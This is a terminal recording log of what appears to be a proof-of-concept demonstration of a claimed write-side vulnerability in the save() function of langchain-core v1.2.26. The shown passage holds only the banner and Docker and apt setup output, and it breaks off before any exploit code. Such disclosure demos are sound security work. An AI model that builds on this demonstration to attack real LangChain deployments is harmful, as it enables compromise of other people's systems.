vboxuser@Ubuntu-Server:~$ vboxuser@Ubuntu-Server:~$ vboxuser@Ubuntu-Server:~$ asciinema play langchain_1.2.26_vulnerability.cast vboxuser@Ubuntu-Server:~$ echo "====================================================================================" echo " LangChain-core v1.2.26 Vulnerability Demonstration" echo "====================================================================================" echo "" echo "# This demonstration shows that langchain-core v1.2.26" echo "# still has critical write-side vulnerabilities." echo "# The read vulnerability was partially fixed, but save() remains exploitable." echo "# Let's start by setting up a fresh Docker container..." sleep 3 ==================================================================================== LangChain-core v1.2.26 Vulnerability Demonstration ==================================================================================== # This demonstration shows that langchain-core v1.2.26 # still has critical write-side vulnerabilities. # The read vulnerability was partially fixed, but save() remains exploitable. # Let's start by setting up a fresh Docker container... vboxuser@Ubuntu-Server:~$ vboxuser@Ubuntu-Server:~$ vboxuser@Ubuntu-Server:~$ vboxuser@Ubuntu-Server:~$ vboxuser@Ubuntu-Server:~$ echo "" echo "# Starting fresh Docker container with langchain-core v1.2.26..." docker run -it --rm ubuntu:latest bash -c 'apt update && apt install -y python3 python3-pip && pip3 install langchain-core==1.2.26 --break-system-packages && bash' # Starting fresh Docker container with langchain-core v1.2.26... Get:1 http://security.ubuntu.com/ubuntu noble-security InRelease [126 kB] Get:2 http://archive.ubuntu.com/ubuntu noble InRelease [256 kB] Get:3 http://security.ubuntu.com/ubuntu noble-security/main amd64 Packages [1985 kB] Get:4 http://archive.ubuntu.com/ubuntu noble-updates InRelease [126 kB] Get:5 http://archive.ubuntu.com/ubuntu noble-backports InRelease [126 kB] Get:6 http://archive.ubuntu.com/ubuntu noble/main amd64 Packages [1808 kB] Get:7 http://security.ubuntu.com/ubuntu noble-security/universe amd64 Packages [1504 kB] Get:8 http://security.ubuntu.com/ubuntu noble-security/restricted amd64 Packages [3499 kB] Get:9 http://archive.ubuntu.com/ubuntu noble/restricted amd64 Packages [117 kB] Get:10 http://security.ubuntu.com/ubuntu noble-security/multiverse amd64 Packages [34.8 kB] Get:11 http://archive.ubuntu.com/ubuntu noble/universe amd64 Packages [19.3 MB] Get:12 http://archive.ubuntu.com/ubuntu noble/multiverse amd64 Packages [331 kB] Get:13 http://archive.ubuntu.com/ubuntu noble-updates/multiverse amd64 Packages [38.1 kB] Get:14 http://archive.ubuntu.com/ubuntu noble-updates/restricted amd64 Packages [3669 kB] Get:15 http://archive.ubuntu.com/ubuntu noble-updates/universe amd64 Packages [2152 kB] Get:16 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 Packages [2369 kB] Get:17 http://archive.ubuntu.com/ubuntu noble-backports/multiverse amd64 Packages [695 B] Get:18 http://archive.ubuntu.com/ubuntu noble-backports/main amd64 Packages [49.5 kB] Get:19 http://archive.ubuntu.com/ubuntu noble-backports/universe amd64 Packages [36.1 kB] Fetched 37.5 MB in 5s (7623 kB/s) Reading package lists... Done Building dependency tree... Done Reading state information... Done 10 packages can be upgraded. Run 'apt list --upgradable' to see them. Reading package lists... Done Building dependency tree... Done Reading state information... Done The following additional packages will be installed: adduser binutils binutils-common binutils-x86-64-linux-gnu build-essential bzip2 ca-certificates cpp cpp-13 cpp-13-x86-64-linux-gnu cpp-x86-64-linux-gnu dirmngr dpkg-dev fakeroot fontconfig-config fonts-dejavu-core fonts-dejavu-mono g++ g++-13 g++-13-x86-64-linux-gnu g++-x86-64-linux-gnu gcc gcc-13 gcc-13-base gcc-13-x86-64-linux-gnu gcc-x86-64-linux-gnu gnupg gnupg-l10n gnupg-utils gpg gpg-agent gpg-wks-client gpgconf gpgsm javascript-common keyboxd libalgorithm-diff-perl libalgorithm-diff-xs-perl libalgorithm-merge-perl libaom3 libasan8 libatomic1 libbinutils libbrotli1 libbsd0 libc-dev-bin libc-devtools libc6-dev libcc1-0 libcrypt-dev libctf-nobfd0 libctf0 libde265-0 libdeflate0 libdpkg-perl libexpat1 libexpat1-dev libfakeroot libfile-fcntllock-perl libfontconfig1 libfreetype6 libgcc-13-dev libgd3 libgdbm-compat4t64 libgdbm6t64 libgomp1 libgprofng0 libheif-plugin-aomdec libheif-plugin-aomenc libheif-plugin-libde265 libheif1 libhwasan0 libisl23 libitm1 libjansson4 libjbig0 libjpeg-turbo8 libjpeg8 libjs-jquery libjs-sphinxdoc libjs-underscore libksba8 libldap-common libldap2 liblerc4 liblocale-gettext-perl liblsan0 libmpc3 libmpfr6 libperl5.38t64 libpng16-16t64 libpython3-dev libpython3-stdlib libpython3.12-dev libpython3.12-minimal libpython3.12-stdlib libpython3.12t64 libquadmath0 libreadline8t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libsframe1 libsharpyuv0 libsqlite3-0 libstdc++-13-dev libtiff6 libtsan2 libubsan1 libwebp7 libx11-6 libx11-data libxau6 libxcb1 libxdmcp6 libxpm4 linux-libc-dev lto-disabled-list make manpages manpages-dev media-types netbase openssl patch perl perl-modules-5.38 pinentry-curses python3-dev python3-minimal python3-pkg-resources python3-setuptools python3-wheel python3.12 python3.12-dev python3.12-minimal readline-common rpcsvc-proto tzdata xz-utils zlib1g-dev Suggested packages: cron quota ecryptfs-utils binutils-doc gprofng-gui bzip2-doc cpp-doc gcc-13-locales cpp-13-doc dbus-user-session libpam-systemd pinentry-gnome3 tor debian-keyring g++-multilib g++-13-multilib gcc-13-doc gcc-multilib autoconf automake libtool flex bison gdb gcc-doc gcc-13-multilib gdb-x86-64-linux-gnu parcimonie xloadimage gpg-wks-server scdaemon apache2 | lighttpd | httpd glibc-doc git bzr libgd-tools gdbm-l10n libheif-plugin-x265 libheif-plugin-ffmpegdec libheif-plugin-jpegdec libheif-plugin-jpegenc libheif-plugin-j2kdec libheif-plugin-j2kenc libheif-plugin-rav1e libheif-plugin-svtenc libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal libsasl2-modules-ldap libsasl2-modules-otp libsasl2-modules-sql libstdc++-13-doc make-doc man-browser ed diffutils-doc perl-doc libterm-readline-gnu-perl | libterm-readline-perl-perl libtap-harness-archive-perl pinentry-doc python3-doc python3-tk python3-venv python-setuptools-doc python3.12-venv python3.12-doc binfmt-support readline-doc The following NEW packages will be installed: adduser binutils binutils-common binutils-x86-64-linux-gnu build-essential bzip2 ca-certificates cpp cpp-13 cpp-13-x86-64-linux-gnu cpp-x86-64-linux-gnu dirmngr dpkg-dev fakeroot fontconfig-config fonts-dejavu-core fonts-dejavu-mono g++ g++-13 g++-13-x86-64-linux-gnu g++-x86-64-linux-gnu gcc gcc-13 gcc-13-base gcc-13-x86-64-linux-gnu gcc-x86-64-linux-gnu gnupg gnupg-l10n gnupg-utils gpg gpg-agent gpg-wks-client gpgconf gpgsm javascript-common keyboxd libalgorithm-diff-perl libalgorithm-diff-xs-perl libalgorithm-merge-perl libaom3 libasan8 libatomic1 libbinutils libbrotli1 libbsd0 libc-dev-bin libc-devtools libc6-dev libcc1-0 libcrypt-dev libctf-nobfd0 libctf0 libde265-0 libdeflate0 libdpkg-perl libexpat1 libexpat1-dev libfakeroot libfile-fcntllock-perl libfontconfig1 libfreetype6 libgcc-13-dev libgd3 libgdbm-compat4t64 libgdbm6t64 libgomp1 libgprofng0 libheif-plugin-aomdec libheif-plugin-aomenc libheif-plugin-libde265 libheif1 libhwasan0 libisl23 libitm1 libjansson4 libjbig0 libjpeg-turbo8 libjpeg8 libjs-jquery libjs-sphinxdoc libjs-underscore libksba8 libldap-common libldap2 liblerc4 liblocale-gettext-perl liblsan0 libmpc3 libmpfr6 libperl5.38t64 libpng16-16t64 libpython3-dev libpython3-stdlib libpython3.12-dev libpython3.12-minimal libpython3.12-stdlib libpython3.12t64 libquadmath0 libreadline8t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libsframe1 libsharpyuv0 libsqlite3-0 libstdc++-13-dev libtiff6 libtsan2 libubsan1 libwebp7 libx11-6 libx11-data libxau6 libxcb1 libxdmcp6 libxpm4 linux-libc-dev lto-disabled-list make manpages manpages-dev media-types netbase openssl patch perl perl-modules-5.38 pinentry-curses python3 python3-dev python3-minimal python3-pip python3-pkg-resources python3-setuptools python3-wheel python3.12 python3.12-dev python3.12-minimal readline-common rpcsvc-proto tzdata xz-utils zlib1g-dev 0 upgraded, 143 newly installed, 0 to remove and 10 not upgraded. Need to get 114 MB of archives. After this operation, 419 MB of additional disk space will be used. Get:1 http://archive.ubuntu.com/ubuntu noble/main amd64 liblocale-gettext-perl amd64 1.07-6ubuntu5 [15.8 kB] Get:2 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3.12-minimal amd64 3.12.3-1ubuntu0.12 [837 kB] Get:3 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libexpat1 amd64 2.6.1-2ubuntu0.4 [88.2 kB] Get:4 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3.12-minimal amd64 3.12.3-1ubuntu0.12 [2334 kB] Get:5 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3-minimal amd64 3.12.3-0ubuntu2.1 [27.4 kB] Get:6 http://archive.ubuntu.com/ubuntu noble/main amd64 media-types all 10.1.0 [27.5 kB] Get:7 http://archive.ubuntu.com/ubuntu noble/main amd64 netbase all 6.4 [13.1 kB] Get:8 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 tzdata all 2026a-0ubuntu0.24.04.1 [280 kB] Get:9 http://archive.ubuntu.com/ubuntu noble/main amd64 readline-common all 8.2-4build1 [56.5 kB] Get:10 http://archive.ubuntu.com/ubuntu noble/main amd64 libreadline8t64 amd64 8.2-4build1 [153 kB] Get:11 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsqlite3-0 amd64 3.45.1-1ubuntu2.5 [701 kB] Get:12 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3.12-stdlib amd64 3.12.3-1ubuntu0.12 [2069 kB] Get:13 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3.12 amd64 3.12.3-1ubuntu0.12 [651 kB] Get:14 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3-stdlib amd64 3.12.3-0ubuntu2.1 [10.1 kB] Get:15 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3 amd64 3.12.3-0ubuntu2.1 [23.0 kB] Get:16 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 perl-modules-5.38 all 5.38.2-3.2ubuntu0.2 [3110 kB] Get:17 http://archive.ubuntu.com/ubuntu noble/main amd64 libgdbm6t64 amd64 1.23-5.1build1 [34.4 kB] Get:18 http://archive.ubuntu.com/ubuntu noble/main amd64 libgdbm-compat4t64 amd64 1.23-5.1build1 [6710 B] Get:19 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libperl5.38t64 amd64 5.38.2-3.2ubuntu0.2 [4874 kB] Get:20 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 perl amd64 5.38.2-3.2ubuntu0.2 [231 kB] Get:21 http://archive.ubuntu.com/ubuntu noble/main amd64 adduser all 3.137ubuntu1 [101 kB] Get:22 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 openssl amd64 3.0.13-0ubuntu3.7 [1003 kB] Get:23 http://archive.ubuntu.com/ubuntu noble/main amd64 ca-certificates all 20240203 [159 kB] Get:24 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libbsd0 amd64 0.12.1-1build1.1 [41.2 kB] Get:25 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3-pkg-resources all 68.1.2-2ubuntu1.2 [168 kB] Get:26 http://archive.ubuntu.com/ubuntu noble/main amd64 libjansson4 amd64 2.14-2build2 [32.8 kB] Get:27 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpng16-16t64 amd64 1.6.43-5ubuntu0.5 [188 kB] Get:28 http://archive.ubuntu.com/ubuntu noble/main amd64 libxau6 amd64 1:1.0.9-1build6 [7160 B] Get:29 http://archive.ubuntu.com/ubuntu noble/main amd64 libxdmcp6 amd64 1:1.1.3-0ubuntu6 [10.3 kB] Get:30 http://archive.ubuntu.com/ubuntu noble/main amd64 libxcb1 amd64 1.15-1ubuntu2 [47.7 kB] Get:31 http://archive.ubuntu.com/ubuntu noble/main amd64 libx11-data all 2:1.8.7-1build1 [115 kB] Get:32 http://archive.ubuntu.com/ubuntu noble/main amd64 libx11-6 amd64 2:1.8.7-1build1 [650 kB] Get:33 http://archive.ubuntu.com/ubuntu noble/main amd64 manpages all 6.7-2 [1384 kB] Get:34 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 xz-utils amd64 5.6.1+really5.4.5-1ubuntu0.2 [267 kB] Get:35 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 binutils-common amd64 2.42-4ubuntu2.10 [240 kB] Get:36 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsframe1 amd64 2.42-4ubuntu2.10 [15.7 kB] Get:37 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libbinutils amd64 2.42-4ubuntu2.10 [577 kB] Get:38 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libctf-nobfd0 amd64 2.42-4ubuntu2.10 [98.0 kB] Get:39 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libctf0 amd64 2.42-4ubuntu2.10 [94.5 kB] Get:40 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libgprofng0 amd64 2.42-4ubuntu2.10 [849 kB] Get:41 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 binutils-x86-64-linux-gnu amd64 2.42-4ubuntu2.10 [2463 kB] Get:42 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 binutils amd64 2.42-4ubuntu2.10 [18.2 kB] Get:43 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libc-dev-bin amd64 2.39-0ubuntu8.7 [20.4 kB] Get:44 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 linux-libc-dev amd64 6.8.0-107.107 [2096 kB] Get:45 http://archive.ubuntu.com/ubuntu noble/main amd64 libcrypt-dev amd64 1:4.4.36-4build1 [112 kB] Get:46 http://archive.ubuntu.com/ubuntu noble/main amd64 rpcsvc-proto amd64 1.4.2-0ubuntu7 [67.4 kB] Get:47 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libc6-dev amd64 2.39-0ubuntu8.7 [2124 kB] Get:48 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gcc-13-base amd64 13.3.0-6ubuntu2~24.04.1 [51.6 kB] Get:49 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libisl23 amd64 0.26-3build1.1 [680 kB] Get:50 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libmpfr6 amd64 4.2.1-1build1.1 [353 kB] Get:51 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libmpc3 amd64 1.3.1-1build1.1 [54.6 kB] Get:52 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 cpp-13-x86-64-linux-gnu amd64 13.3.0-6ubuntu2~24.04.1 [10.7 MB] Get:53 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 cpp-13 amd64 13.3.0-6ubuntu2~24.04.1 [1042 B] Get:54 http://archive.ubuntu.com/ubuntu noble/main amd64 cpp-x86-64-linux-gnu amd64 4:13.2.0-7ubuntu1 [5326 B] Get:55 http://archive.ubuntu.com/ubuntu noble/main amd64 cpp amd64 4:13.2.0-7ubuntu1 [22.4 kB] Get:56 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libcc1-0 amd64 14.2.0-4ubuntu2~24.04.1 [48.0 kB] Get:57 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libgomp1 amd64 14.2.0-4ubuntu2~24.04.1 [148 kB] Get:58 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libitm1 amd64 14.2.0-4ubuntu2~24.04.1 [29.7 kB] Get:59 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libatomic1 amd64 14.2.0-4ubuntu2~24.04.1 [10.5 kB] Get:60 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libasan8 amd64 14.2.0-4ubuntu2~24.04.1 [3027 kB] Get:61 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 liblsan0 amd64 14.2.0-4ubuntu2~24.04.1 [1322 kB] Get:62 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libtsan2 amd64 14.2.0-4ubuntu2~24.04.1 [2772 kB] Get:63 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libubsan1 amd64 14.2.0-4ubuntu2~24.04.1 [1184 kB] Get:64 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libhwasan0 amd64 14.2.0-4ubuntu2~24.04.1 [1641 kB] Get:65 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libquadmath0 amd64 14.2.0-4ubuntu2~24.04.1 [153 kB] Get:66 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libgcc-13-dev amd64 13.3.0-6ubuntu2~24.04.1 [2681 kB] Get:67 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gcc-13-x86-64-linux-gnu amd64 13.3.0-6ubuntu2~24.04.1 [21.1 MB] Get:68 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gcc-13 amd64 13.3.0-6ubuntu2~24.04.1 [494 kB] Get:69 http://archive.ubuntu.com/ubuntu noble/main amd64 gcc-x86-64-linux-gnu amd64 4:13.2.0-7ubuntu1 [1212 B] Get:70 http://archive.ubuntu.com/ubuntu noble/main amd64 gcc amd64 4:13.2.0-7ubuntu1 [5018 B] Get:71 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libstdc++-13-dev amd64 13.3.0-6ubuntu2~24.04.1 [2420 kB] Get:72 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 g++-13-x86-64-linux-gnu amd64 13.3.0-6ubuntu2~24.04.1 [12.2 MB] Get:73 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 g++-13 amd64 13.3.0-6ubuntu2~24.04.1 [16.0 kB] Get:74 http://archive.ubuntu.com/ubuntu noble/main amd64 g++-x86-64-linux-gnu amd64 4:13.2.0-7ubuntu1 [964 B] Get:75 http://archive.ubuntu.com/ubuntu noble/main amd64 g++ amd64 4:13.2.0-7ubuntu1 [1100 B] Get:76 http://archive.ubuntu.com/ubuntu noble/main amd64 make amd64 4.3-4.1build2 [180 kB] Get:77 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libdpkg-perl all 1.22.6ubuntu6.5 [269 kB] Get:78 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 bzip2 amd64 1.0.8-5.1build0.1 [34.5 kB] Get:79 http://archive.ubuntu.com/ubuntu noble/main amd64 patch amd64 2.7.6-7build3 [104 kB] Get:80 http://archive.ubuntu.com/ubuntu noble/main amd64 lto-disabled-list all 47 [12.4 kB] Get:81 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 dpkg-dev all 1.22.6ubuntu6.5 [1074 kB] Get:82 http://archive.ubuntu.com/ubuntu noble/main amd64 build-essential amd64 12.10ubuntu1 [4928 B] Get:83 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpgconf amd64 2.4.4-2ubuntu17.4 [104 kB] Get:84 http://archive.ubuntu.com/ubuntu noble/main amd64 libksba8 amd64 1.6.6-1build1 [122 kB] Get:85 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsasl2-modules-db amd64 2.1.28+dfsg1-5ubuntu3.1 [20.4 kB] Get:86 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsasl2-2 amd64 2.1.28+dfsg1-5ubuntu3.1 [53.2 kB] Get:87 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libldap2 amd64 2.6.10+dfsg-0ubuntu0.24.04.1 [198 kB] Get:88 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 dirmngr amd64 2.4.4-2ubuntu17.4 [323 kB] Get:89 http://archive.ubuntu.com/ubuntu noble/main amd64 libfakeroot amd64 1.33-1 [32.4 kB] Get:90 http://archive.ubuntu.com/ubuntu noble/main amd64 fakeroot amd64 1.33-1 [67.2 kB] Get:91 http://archive.ubuntu.com/ubuntu noble/main amd64 fonts-dejavu-mono all 2.37-8 [502 kB] Get:92 http://archive.ubuntu.com/ubuntu noble/main amd64 fonts-dejavu-core all 2.37-8 [835 kB] Get:93 http://archive.ubuntu.com/ubuntu noble/main amd64 fontconfig-config amd64 2.15.0-1.1ubuntu2 [37.3 kB] Get:94 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gnupg-utils amd64 2.4.4-2ubuntu17.4 [109 kB] Get:95 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpg amd64 2.4.4-2ubuntu17.4 [565 kB] Get:96 http://archive.ubuntu.com/ubuntu noble/main amd64 pinentry-curses amd64 1.2.1-3ubuntu5 [35.2 kB] Get:97 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpg-agent amd64 2.4.4-2ubuntu17.4 [227 kB] Get:98 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpgsm amd64 2.4.4-2ubuntu17.4 [232 kB] Get:99 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 keyboxd amd64 2.4.4-2ubuntu17.4 [78.3 kB] Get:100 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gnupg all 2.4.4-2ubuntu17.4 [359 kB] Get:101 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gnupg-l10n all 2.4.4-2ubuntu17.4 [66.4 kB] Get:102 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 gpg-wks-client amd64 2.4.4-2ubuntu17.4 [70.8 kB] Get:103 http://archive.ubuntu.com/ubuntu noble/main amd64 javascript-common all 11+nmu1 [5936 B] Get:104 http://archive.ubuntu.com/ubuntu noble/main amd64 libalgorithm-diff-perl all 1.201-1 [41.8 kB] Get:105 http://archive.ubuntu.com/ubuntu noble/main amd64 libalgorithm-diff-xs-perl amd64 0.04-8build3 [11.2 kB] Get:106 http://archive.ubuntu.com/ubuntu noble/main amd64 libalgorithm-merge-perl all 0.08-5 [11.4 kB] Get:107 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libaom3 amd64 3.8.2-2ubuntu0.1 [1941 kB] Get:108 http://archive.ubuntu.com/ubuntu noble/main amd64 libbrotli1 amd64 1.1.0-2build2 [331 kB] Get:109 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libfreetype6 amd64 2.13.2+dfsg-1ubuntu0.1 [402 kB] Get:110 http://archive.ubuntu.com/ubuntu noble/main amd64 libfontconfig1 amd64 2.15.0-1.1ubuntu2 [139 kB] Get:111 http://archive.ubuntu.com/ubuntu noble/main amd64 libsharpyuv0 amd64 1.3.2-0.4build3 [15.8 kB] Get:112 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libheif-plugin-aomdec amd64 1.17.6-1ubuntu4.2 [10.6 kB] Get:113 http://archive.ubuntu.com/ubuntu noble/main amd64 libde265-0 amd64 1.0.15-1build3 [166 kB] Get:114 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libheif-plugin-libde265 amd64 1.17.6-1ubuntu4.2 [8174 B] Get:115 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libheif1 amd64 1.17.6-1ubuntu4.2 [276 kB] Get:116 http://archive.ubuntu.com/ubuntu noble/main amd64 libjpeg-turbo8 amd64 2.1.5-2ubuntu2 [150 kB] Get:117 http://archive.ubuntu.com/ubuntu noble/main amd64 libjpeg8 amd64 8c-2ubuntu11 [2148 B] Get:118 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libdeflate0 amd64 1.19-1build1.1 [43.9 kB] Get:119 http://archive.ubuntu.com/ubuntu noble/main amd64 libjbig0 amd64 2.1-6.1ubuntu2 [29.7 kB] Get:120 http://archive.ubuntu.com/ubuntu noble/main amd64 liblerc4 amd64 4.0.0+ds-4ubuntu2 [179 kB] Get:121 http://archive.ubuntu.com/ubuntu noble/main amd64 libwebp7 amd64 1.3.2-0.4build3 [230 kB] Get:122 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libtiff6 amd64 4.5.1+git230720-4ubuntu2.5 [200 kB] Get:123 http://archive.ubuntu.com/ubuntu noble/main amd64 libxpm4 amd64 1:3.5.17-1build2 [36.5 kB] Get:124 http://archive.ubuntu.com/ubuntu noble/main amd64 libgd3 amd64 2.3.3-9ubuntu5 [128 kB] Get:125 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libc-devtools amd64 2.39-0ubuntu8.7 [29.3 kB] Get:126 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libexpat1-dev amd64 2.6.1-2ubuntu0.4 [140 kB] Get:127 http://archive.ubuntu.com/ubuntu noble/main amd64 libfile-fcntllock-perl amd64 0.22-4ubuntu5 [30.7 kB] Get:128 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libheif-plugin-aomenc amd64 1.17.6-1ubuntu4.2 [14.7 kB] Get:129 http://archive.ubuntu.com/ubuntu noble/main amd64 libjs-jquery all 3.6.1+dfsg+~3.5.14-1 [328 kB] Get:130 http://archive.ubuntu.com/ubuntu noble/main amd64 libjs-underscore all 1.13.4~dfsg+~1.11.4-3 [118 kB] Get:131 http://archive.ubuntu.com/ubuntu noble/main amd64 libjs-sphinxdoc all 7.2.6-6 [149 kB] Get:132 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libldap-common all 2.6.10+dfsg-0ubuntu0.24.04.1 [32.9 kB] Get:133 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3.12t64 amd64 3.12.3-1ubuntu0.12 [2345 kB] Get:134 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 zlib1g-dev amd64 1:1.3.dfsg-3.1ubuntu2.1 [894 kB] Get:135 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3.12-dev amd64 3.12.3-1ubuntu0.12 [5681 kB] Get:136 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3-dev amd64 3.12.3-0ubuntu2.1 [10.3 kB] Get:137 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsasl2-modules amd64 2.1.28+dfsg1-5ubuntu3.1 [69.9 kB] Get:138 http://archive.ubuntu.com/ubuntu noble/main amd64 manpages-dev all 6.7-2 [2013 kB] Get:139 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3.12-dev amd64 3.12.3-1ubuntu0.12 [498 kB] Get:140 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3-dev amd64 3.12.3-0ubuntu2.1 [26.7 kB] Get:141 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3-setuptools all 68.1.2-2ubuntu1.2 [397 kB] Get:142 http://archive.ubuntu.com/ubuntu noble/universe amd64 python3-wheel all 0.42.0-2 [53.1 kB] Get:143 http://archive.ubuntu.com/ubuntu noble-updates/universe amd64 python3-pip all 24.0+dfsg-1ubuntu1.3 [1320 kB] Fetched 114 MB in 11s (10.5 MB/s) debconf: delaying package configuration, since apt-utils is not installed Selecting previously unselected package liblocale-gettext-perl. (Reading database ... 4381 files and directories currently installed.) Preparing to unpack .../liblocale-gettext-perl_1.07-6ubuntu5_amd64.deb ... Unpacking liblocale-gettext-perl (1.07-6ubuntu5) ... Selecting previously unselected package libpython3.12-minimal:amd64. Preparing to unpack .../libpython3.12-minimal_3.12.3-1ubuntu0.12_amd64.deb ... Unpacking libpython3.12-minimal:amd64 (3.12.3-1ubuntu0.12) ... Selecting previously unselected package libexpat1:amd64. Preparing to unpack .../libexpat1_2.6.1-2ubuntu0.4_amd64.deb ... Unpacking libexpat1:amd64 (2.6.1-2ubuntu0.4) ... Selecting previously unselected package python3.12-minimal. Preparing to unpack .../python3.12-minimal_3.12.3-1ubuntu0.12_amd64.deb ... Unpacking python3.12-minimal (3.12.3-1ubuntu0.12) ... Setting up libpython3.12-minimal:amd64 (3.12.3-1ubuntu0.12) ... Setting up libexpat1:amd64 (2.6.1-2ubuntu0.4) ... Setting up python3.12-minimal (3.12.3-1ubuntu0.12) ... Selecting previously unselected package python3-minimal. (Reading database ... 4714 files and directories currently installed.) Preparing to unpack .../0-python3-minimal_3.12.3-0ubuntu2.1_amd64.deb ... Unpacking python3-minimal (3.12.3-0ubuntu2.1) ... Selecting previously unselected package media-types. Preparing to unpack .../1-media-types_10.1.0_all.deb ... Unpacking media-types (10.1.0) ... Selecting previously unselected package netbase. Preparing to unpack .../2-netbase_6.4_all.deb ... Unpacking netbase (6.4) ... Selecting previously unselected package tzdata. Preparing to unpack .../3-tzdata_2026a-0ubuntu0.24.04.1_all.deb ... Unpacking tzdata (2026a-0ubuntu0.24.04.1) ... Selecting previously unselected package readline-common. Preparing to unpack .../4-readline-common_8.2-4build1_all.deb ... Unpacking readline-common (8.2-4build1) ... Selecting previously unselected package libreadline8t64:amd64. Preparing to unpack .../5-libreadline8t64_8.2-4build1_amd64.deb ... Adding 'diversion of /lib/x86_64-linux-gnu/libhistory.so.8 to /lib/x86_64-linux-gnu/libhistory.so.8.usr-is-merged by libreadline8t64' Adding 'diversion of /lib/x86_64-linux-gnu/libhistory.so.8.2 to /lib/x86_64-linux-gnu/libhistory.so.8.2.usr-is-merged by libreadline8t64' Adding 'diversion of /lib/x86_64-linux-gnu/libreadline.so.8 to /lib/x86_64-linux-gnu/libreadline.so.8.usr-is-merged by libreadline8t64' Adding 'diversion of /lib/x86_64-linux-gnu/libreadline.so.8.2 to /lib/x86_64-linux-gnu/libreadline.so.8.2.usr-is-merged by libreadline8t64' Unpacking libreadline8t64:amd64 (8.2-4build1) ... Selecting previously unselected package libsqlite3-0:amd64. Preparing to unpack .../6-libsqlite3-0_3.45.1-1ubuntu2.5_amd64.deb ... Unpacking libsqlite3-0:amd64 (3.45.1-1ubuntu2.5) ... Selecting previously unselected package libpython3.12-stdlib:amd64. Preparing to unpack 